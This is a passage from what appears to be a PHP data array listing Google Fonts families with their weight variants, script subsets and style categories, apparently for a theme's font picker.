array('400', 'italic', '700', '700italic'), 'subsets' => array('greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Libre Bodoni' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Sigmar One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Familjen Grotesk' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Average' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Kameron' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Spinnaker' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Bowlby One SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Petit Formal Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'BIZ UDPGothic' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'greek-ext', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cedarville Cursive' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Rochester' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Sunflower' => array( 'variants' => array('300', '500', '700'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Kurale' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Klee One' => array( 'variants' => array('400', '600'), 'subsets' => array('cyrillic', 'greek-ext', 'japanese', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Limelight' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Alegreya SC' => array( 'variants' => array('400', 'italic', '500', '500italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'IM Fell English SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Nobile' => array( 'variants' => array('400', 'italic', '500', '500italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Delius' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Georama' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Alumni Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Ovo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Vollkorn SC' => array( 'variants' => array('400', '600', '700', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Monsieur La Doulaise' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Amiko' => array( 'variants' => array('400', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Baloo Tamma 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('kannada', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Fauna One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Encode Sans Semi Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Trocchi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Halant' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Abyssinica SIL' => array( 'variants' => array('400'), 'subsets' => array('ethiopic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Suranna' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Oxygen Mono' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Baloo Da 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('bengali', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Grenze Gotisch' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Miriam Libre' => array( 'variants' => array('400', '700'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Brawler' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Hanuman' => array( 'variants' => array('100', '300', '400', '700', '900'), 'subsets' => array('khmer', 'latin'), 'category' => 'serif' ), 'B612' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Gabriela' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Nixie One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Sniglet' => array( 'variants' => array('400', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Thasadith' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Calligraffitti' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Slabo 13px' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Hepta Slab' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Cormorant Upright' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Proza Libre' => array( 'variants' => array('400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'League Gothic' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Fahkwang' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Serif Devanagari' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Sedgwick Ave' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Dawning of a New Day' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Zen Old Mincho' => array( 'variants' => array('400', '500', '600', '700', '900'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Vesper Libre' => array( 'variants' => array('400', '500', '700', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Molengo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kodchasan' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Rasa' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('gujarati', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Montserrat Subrayada' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Marmelad' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Baloo Paaji 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Tillana' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Sansita Swashed' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Brygada 1918' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Style Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Turret Road' => array( 'variants' => array('200', '300', '400', '500', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Malayalam' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'malayalam'), 'category' => 'serif' ), 'Quando' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'David Libre' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Pirata One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Share' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Waiting for the Sunrise' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Marvel' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Rosario' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Zen Antique' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'ZCOOL XiaoWei' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'sans-serif' ), 'Jockey One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Material Symbols Sharp' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Bentham' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Mansalva' => array( 'variants' => array('400'), 'subsets' => array('greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Sono' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'IM Fell English' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Meera Inimai' => array( 'variants' => array('400'), 'subsets' => array('latin', 'tamil'), 'category' => 'sans-serif' ), 'Metrophobic' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Love Ya Like A Sister' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Arya' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Silkscreen' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Shippori Mincho B1' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Spectral SC' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Esteban' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Fredoka' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Zen Kaku Gothic Antique' => array( 'variants' => array('300', '400', '500', '700', '900'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Flamenco' => array( 'variants' => array('300', '400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Stardos Stencil' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'IM Fell DW Pica' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Lekton' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'UnifrakturMaguntia' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Raleway Dots' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Odibee Sans' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Cutive' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Hahmlet' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('korean', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Baloo Thambi 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'tamil', 'vietnamese'), 'category' => 'display' ), 'Rakkas' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Vazirmatn' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cambay' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Bungee Shade' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Aref Ruqaa' => array( 'variants' => array('400', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Oleo Script Swash Caps' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sofia Sans Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cormorant SC' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'RocknRoll One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'KoHo' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Golos Text' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Goldman' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Goudy Bookletter 1911' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Bellota Text' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'ZCOOL QingKe HuangYou' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'sans-serif' ), 'Kadwa' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin'), 'category' => 'serif' ), 'Mirza' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Patrick Hand SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Copse' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Meddon' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Rampart One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'display' ), 'Syne Mono' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Italiana' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Farro' => array( 'variants' => array('300', '400', '500', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Anek Malayalam' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'malayalam'), 'category' => 'sans-serif' ), 'Fondamento' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Della Respira' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Germania One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'IBM Plex Sans KR' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('korean', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Wix Madefor Display' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Homenaje' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Big Shoulders Text' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Gurajada' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Allison' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Ledger' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Kelly Slab' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Bowlby One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Lexend Zetta' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Ma Shan Zheng' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'handwriting' ), 'Noto Sans Bengali' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Megrim' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Montez' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Mukta Vaani' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Inder' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Gemunu Libre' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'sans-serif' ), 'BhuTuka Expanded One' => array( 'variants' => array('400'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'display' ), 'Fanwood Text' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Flow Circular' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Ms Madi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Notable' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Almendra' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'IM Fell Double Pica' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Ruslan Display' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Fresca' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Dela Gothic One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Chivo Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Allan' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Caladea' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Radley' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Harmattan' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Andika' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans Sinhala' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'sans-serif' ), 'Rouge Script' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Kufam' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Battambang' => array( 'variants' => array('100', '300', '400', '700', '900'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Mouse Memoirs' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Glory' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Buenard' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Nova Mono' => array( 'variants' => array('400'), 'subsets' => array('greek', 'latin'), 'category' => 'monospace' ), 'Encode Sans Expanded' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Chelsea Market' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Carme' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Skranji' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Federo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Gravitas One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Expletus Sans' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Aguafina Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Mr De Haviland' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Anuphan' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Hanken Grotesk' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Duru Sans' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Tenali Ramakrishna' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Dokdo' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Original Surfer' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Convergence' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Poly' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Noto Sans Symbols' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'symbols'), 'category' => 'sans-serif' ), 'Supermercado One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Sue Ellen Francisco' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Nerko One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Peralta' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Zen Kurenaido' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Oregano' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Yusei Magic' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Baloo Chettan 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'malayalam', 'vietnamese'), 'category' => 'display' ), 'Emilys Candy' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Lemon' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sofia Sans Semi Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Amarante' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Trykker' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Tomorrow' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Antic Didone' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Share Tech' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Ibarra Real Nova' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'B612 Mono' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Shojumaru' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Elsie' => array( 'variants' => array('400', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Atma' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => 